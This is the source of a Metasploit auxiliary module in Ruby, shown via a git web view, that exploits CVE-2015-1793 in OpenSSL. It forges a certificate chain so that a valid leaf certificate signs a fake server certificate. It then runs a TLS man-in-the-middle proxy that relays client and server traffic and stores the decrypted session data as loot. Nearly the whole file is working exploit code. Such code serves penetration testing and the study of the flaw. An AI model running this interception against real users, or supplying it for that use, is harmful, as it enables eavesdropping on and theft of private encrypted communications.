metasploit-framework/modules/auxiliary/server/openssl_altchainsforgery_mi...

229 lines
8.4 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'openssl'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'OpenSSL Alternative Chains Certificate Forgery MITM Proxy',
'Description' => %q{
This module exploits a logic error in OpenSSL by impersonating the server
and sending a specially-crafted chain of certificates, resulting in
certain checks on untrusted certificates to be bypassed on the client,
allowing it to use a valid leaf certificate as a CA certificate to sign a
fake certificate. The SSL/TLS session is then proxied to the server
allowing the session to continue normally and application data transmitted
2015-07-16 16:24:50 +00:00
between the peers to be saved.
The valid leaf certificate must not contain the keyUsage extension or it
must have at least the keyCertSign bit set (see X509_check_issued function
in crypto/x509v3/v3_purp.c); otherwise; X509_verify_cert fails with
X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY. This module requires an
active man-in-the-middle attack.
},
'Author' =>
[
2015-07-17 18:37:30 +00:00
'David Benjamin', # Vulnerability discovery
'Adam Langley', # Vulnerability discovery
'Ramon de C Valle' # Metasploit module
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service',
'References' => [
['CVE', '2015-1793'],
['CWE', '754'],
['URL', 'http://git.openssl.org/?p=openssl.git;a=commit;h=f404943bcab4898d18f3ac1b36479d1d7bbbb9e6']
],
'DisclosureDate' => 'Jul 9 2015'
)
register_options(
[
OptString.new('CACERT', [ true, "The leaf certificate's CA certificate", nil]),
OptString.new('CERT', [ true, 'The leaf certificate', nil]),
OptString.new('KEY', [ true, "The leaf certificate's private key", nil]),
OptString.new('PASSPHRASE', [ false, "The pass phrase for the leaf certificate's private key", nil]),
2015-07-17 18:37:30 +00:00
OptString.new('SUBJECT', [ false, 'The subject field for the fake certificate', '/C=US/ST=California/L=Mountain View/O=Example Inc/CN=*.example.com']),
OptString.new('HOST', [ true, 'The server address', nil]),
OptString.new('PORT', [ true, 'The server port', 443]),
OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),
OptString.new('SRVPORT', [ true, 'The proxy port', 443])
], self.class)
end
def cleanup
super
return unless @proxy
begin
@proxy.deref if @proxy.kind_of?(Rex::Service)
if @proxy.kind_of?(Rex::Socket)
@proxy.close
@proxy.stop
end
@proxy = nil
rescue ::Exception
end
end
def run
host = datastore['HOST']
port = datastore['PORT']
local_host = datastore['SRVHOST']
local_port = datastore['SRVPORT']
root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
root_ca_key = OpenSSL::PKey::RSA.new(2048)
root_ca_cert = OpenSSL::X509::Certificate.new
root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
root_ca_cert.not_after = Time.now + 86400
root_ca_cert.not_before = Time.now
root_ca_cert.public_key = root_ca_key.public_key
root_ca_cert.serial = 0
root_ca_cert.subject = root_ca_name
root_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)
root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)
inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')
inter_ca_key = OpenSSL::PKey::RSA.new(2048)
inter_ca_cert = OpenSSL::X509::Certificate.new
inter_ca_cert.issuer = root_ca_name
inter_ca_cert.not_after = Time.now + 86400
inter_ca_cert.not_before = Time.now
inter_ca_cert.public_key = inter_ca_key.public_key
inter_ca_cert.serial = 0
inter_ca_cert.subject = inter_ca_name
inter_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)
inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)
subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CACERT']))
subinter_ca_cert.issuer = inter_ca_name
subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)
leaf_key = OpenSSL::PKey::RSA.new(File.read(datastore['KEY']), datastore['PASSPHRASE'])
leaf_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CERT']))
fake_name = OpenSSL::X509::Name.parse(datastore['SUBJECT'])
fake_key = OpenSSL::PKey::RSA.new(2048)
fake_cert = OpenSSL::X509::Certificate.new
fake_cert.issuer = leaf_cert.subject
fake_cert.not_after = Time.now + 3600
fake_cert.not_before = Time.now
fake_cert.public_key = fake_key.public_key
fake_cert.serial = 0
fake_cert.subject = fake_name
fake_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)
fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))
fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))
fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)
context = OpenSSL::SSL::SSLContext.new
context.cert = fake_cert
context.extra_chain_cert = [leaf_cert, subinter_ca_cert]
context.key = fake_key
@proxy = Rex::Socket::SslTcpServer.create(
'LocalHost' => local_host,
'LocalPort' => local_port,
'SSLContext' => context,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
})
print_status('Listening on %s:%d' % [local_host, local_port])
thread_num = 0
loop do
framework.threads.spawn("Thread #{thread_num += 1}", false, @proxy.accept) do |client|
add_socket(client)
application_data = ''
print_status('Accepted connection from %s:%d' % [client.peerhost, client.peerport])
server = Rex::Socket::Tcp.create(
'PeerHost' => host,
'PeerPort' => port,
'SSL' => true,
'SSLVerifyMode' => 'NONE',
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
})
add_socket(server)
print_status('Connected to %s:%d' % [host, port])
begin
loop do
readable, _, _ = Rex::ThreadSafe.select([client, server])
readable.each do |r|
data = r.get_once
print_status('%d bytes received' % [data.bytesize])
application_data << data
case r
when client
count = server.put(data)
print_status('%d bytes sent' % [count])
when server
count = client.put(data)
print_status('%d bytes sent' % [count])
end
end
end
rescue EOFError, Errno::ECONNRESET
path = store_loot(
'tls.application_data',
'application/octet-stream',
client.peerhost,
application_data,
'application_data',
'TLS session application data'
)
print_good("SSL/TLS session application data successfully stored in #{path}")
client.close
server.close
next
end
client.close
server.close
end
end
end
end